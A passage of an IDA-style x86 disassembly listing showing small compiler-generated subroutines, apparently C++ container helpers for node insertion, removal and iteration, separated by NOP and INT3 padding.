		push	esi
		mov	edi, ecx
		nop
		call	near ptr 71AB9639h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_421891:				; CODE XREF: ___:0042186Ej
		push	10h
		push	offset dword_444E10
		lea	edx, [esp+24h]
		push	edi
		push	edx
		call	sub_401AFF
		add	esp, 10h
		neg	al
		sbb	eax, eax
		push	esi
		and	eax, 3
		mov	edi, eax
		nop
		call	near ptr 71AB9639h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_4218C2:				; CODE XREF: ___:004217DBj
					; ___:004217F6j ...
		push	esi
		nop
		call	near ptr 71AB9639h


loc_4218C9:				; CODE XREF: ___:0042177Ej
					; ___:00421787j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 70h dup(0CCh)
; ---------------------------------------------------------------------------


loc_421950:				; CODE XREF: ___:00401A0Fj
		xor	al, al
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421970	proc near		; CODE XREF: sub_40120Dj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_401311
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4010E6
sub_421970	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4219B0	proc near		; CODE XREF: sub_4018E8j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401910
sub_4219B0	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4219F0	proc near		; CODE XREF: sub_401825j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40197E
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4014E2
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_4019A6
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401956
sub_4219F0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421A60	proc near		; CODE XREF: sub_4014E2j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_40206D
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_401EDD
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_421A60	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421AA0	proc near		; CODE XREF: sub_40197Ej

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_401EDD
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_421AA0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421AD0	proc near		; CODE XREF: sub_402185j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_40197E
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40190B
sub_421AD0	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421B10	proc near		; CODE XREF: sub_40170Dj
		push	esi
		mov	esi, ecx
		call	sub_4019FB
		mov	eax, esi
		pop	esi
		retn
sub_421B10	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421B30	proc near		; CODE XREF: sub_40122Bj
		mov	eax, [ecx]
		push	eax
		call	sub_4010F5
		add	esp, 4
		retn
sub_421B30	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421B50	proc near		; CODE XREF: sub_40107Dj
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_40206D
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_421B50	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421B80	proc near		; CODE XREF: sub_401811j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_40201D
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_421B80	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421BB0	proc near		; CODE XREF: sub_4016EAj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401212
sub_421BB0	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421BF0	proc near		; CODE XREF: sub_401253j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4013F7
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401465
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40100F
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_4021DA
sub_421BF0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421C60	proc near		; CODE XREF: sub_401465j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_40110E
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_401D89
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_421C60	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421CA0	proc near		; CODE XREF: sub_4013F7j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_401D89
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_421CA0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421CD0	proc near		; CODE XREF: sub_401325j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_4013F7
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401BC2
sub_421CD0	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421D10	proc near		; CODE XREF: sub_401B54j
		push	esi
		mov	esi, ecx
		call	sub_4011A9
		mov	eax, esi
		pop	esi
		retn
sub_421D10	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421D30	proc near		; CODE XREF: sub_401055j
		mov	eax, [ecx]
		push	eax
		call	sub_40108C
		add	esp, 4
		retn
sub_421D30	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421D50	proc near		; CODE XREF: sub_401839j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_40110E
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_421D50	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421D80	proc near		; CODE XREF: sub_4012BCj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401D5C
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_421D80	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421DB0	proc near		; CODE XREF: sub_4010E6j

arg_4		= byte ptr  8

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_401EEC
		mov	edi, eax
		push	edi
		call	sub_401B31
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_40139D
sub_421DB0	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401B31
		push	edi
		mov	[eax], ebx
		call	sub_401B31
		mov	edi, [eax]
		push	edi
		call	sub_401B31
		mov	ecx, [eax]
		push	ecx
		call	sub_4015DC
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_401172
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_401E5B
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_401D98
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421E50	proc near		; CODE XREF: sub_40190Bj

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_4010C8
		mov	edi, eax
		push	edi
		call	sub_401D07
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401910
sub_421E50	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401D07
		push	edi
		mov	[eax], ebx
		call	sub_401D07
		mov	edi, [eax]
		push	edi
		call	sub_401D07
		mov	ecx, [eax]
		push	ecx
		call	sub_40206D
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_4010F5
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_4017F3
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_401EDD
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421EF0	proc near		; CODE XREF: sub_4019A6j

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_401811
		test	al, al
		jz	short loc_421F4A


loc_421F08:				; CODE XREF: sub_421EF0+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_4020D6
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401A2D
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_401811
		test	al, al
		jnz	short loc_421F08
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_421F4A:				; CODE XREF: sub_421EF0+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_421EF0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421F80	proc near		; CODE XREF: sub_401910j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	24h
		call	sub_401E0B
sub_421F80	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_421F95
		mov	edi, esi


loc_421F95:				; CODE XREF: ___:00421F91j
		push	esi
		call	sub_40206D
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_421FAA
		mov	edi, esi


loc_421FAA:				; CODE XREF: ___:00421FA6j
		push	esi
		call	sub_401D07
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421FD0	proc near		; CODE XREF: sub_401956j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_401550
sub_421FD0	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421FF0	proc near		; CODE XREF: sub_40206Dj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_421FF0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422010	proc near		; CODE XREF: sub_4010F5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_422010	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422030	proc near		; CODE XREF: sub_4019FBj
		mov	eax, ecx
		retn
sub_422030	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422050	proc near		; CODE XREF: sub_401EDDj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401523
		mov	eax, esi
		pop	esi
		retn	4
sub_422050	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422080	proc near		; CODE XREF: sub_40201Dj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_422080	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4220B0	proc near		; CODE XREF: sub_401BC2j

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_4018F7
		mov	edi, eax
		push	edi
		call	sub_4010EB
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401212
sub_4220B0	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_4010EB
		push	edi
		mov	[eax], ebx
		call	sub_4010EB
		mov	edi, [eax]
		push	edi
		call	sub_4010EB
		mov	ecx, [eax]
		push	ecx
		call	sub_40110E
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_40108C
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_4013E8
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_401D89
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422150	proc near		; CODE XREF: sub_40100Fj

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_4012BC
		test	al, al
		jz	short loc_4221AA


loc_422168:				; CODE XREF: sub_422150+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_4019BA
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401B90
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_4012BC
		test	al, al
		jnz	short loc_422168
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4221AA:				; CODE XREF: sub_422150+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_422150	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4221E0	proc near		; CODE XREF: sub_401212j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	20h
		call	sub_4020DB
sub_4221E0	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_4221F5
		mov	edi, esi


loc_4221F5:				; CODE XREF: ___:004221F1j
		push	esi
		call	sub_40110E
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_42220A
		mov	edi, esi


loc_42220A:				; CODE XREF: ___:00422206j
		push	esi
		call	sub_4010EB
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422230	proc near		; CODE XREF: sub_4021DAj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_4018F2
sub_422230	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422250	proc near		; CODE XREF: sub_40110Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_422250	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422270	proc near		; CODE XREF: sub_40108Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_422270	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422290	proc near		; CODE XREF: sub_4011A9j
		mov	eax, ecx
		retn
sub_422290	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4222B0	proc near		; CODE XREF: sub_401D89j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4018FC
		mov	eax, esi
		pop	esi
		retn	4
sub_4222B0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4222E0	proc near		; CODE XREF: sub_401D5Cj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_4222E0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422310	proc near		; CODE XREF: sub_401E5Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401A3C
		add	esp, 8
		retn	8
sub_422310	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422340	proc near		; CODE XREF: sub_401A2Dj

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_4020D6
		mov	ecx, eax
		call	sub_4010C8
		mov	esi, eax
		push	esi
		call	sub_40206D
		push	esi
		mov	ebx, eax
		call	sub_401D07
		mov	ecx, [eax]
		push	ecx
		call	sub_40206D
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401D07
		push	esi
		mov	ebx, eax
		call	sub_40206D
		mov	eax, [eax]
		push	eax
		call	sub_401D07
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_4010F5
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_40163B
		push	esi
		mov	ecx, edi
		call	sub_401956
sub_422340	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422400	proc near		; CODE XREF: sub_401D07j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_422400	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422420	proc near		; CODE XREF: sub_401E0Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D2A
sub_422420	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422450	proc near		; CODE XREF: sub_401550j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_422450	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422470	proc near		; CODE XREF: sub_4017F3j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_40203B
		add	esp, 8
		retn	8
sub_422470	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4224A0	proc near		; CODE XREF: sub_401523j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_4224A0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4224C0	proc near		; CODE XREF: sub_4010C8j
		mov	eax, [ecx]
		retn
sub_4224C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4224E0	proc near		; CODE XREF: sub_4020D6j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_40107D
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_4224E0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422510	proc near		; CODE XREF: sub_401B90j

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_4019BA
		mov	ecx, eax
		call	sub_4018F7
		mov	esi, eax
		push	esi
		call	sub_40110E
		push	esi
		mov	ebx, eax
		call	sub_4010EB
		mov	ecx, [eax]
		push	ecx
		call	sub_40110E
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_4010EB
		push	esi
		mov	ebx, eax
		call	sub_40110E
		mov	eax, [eax]
		push	eax
		call	sub_4010EB
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_40108C
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401E7E
		push	esi
		mov	ecx, edi
		call	sub_4021DA
sub_422510	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4225D0	proc near		; CODE XREF: sub_4010EBj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_4225D0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4225F0	proc near		; CODE XREF: sub_4020DBj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D2A
sub_4225F0	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
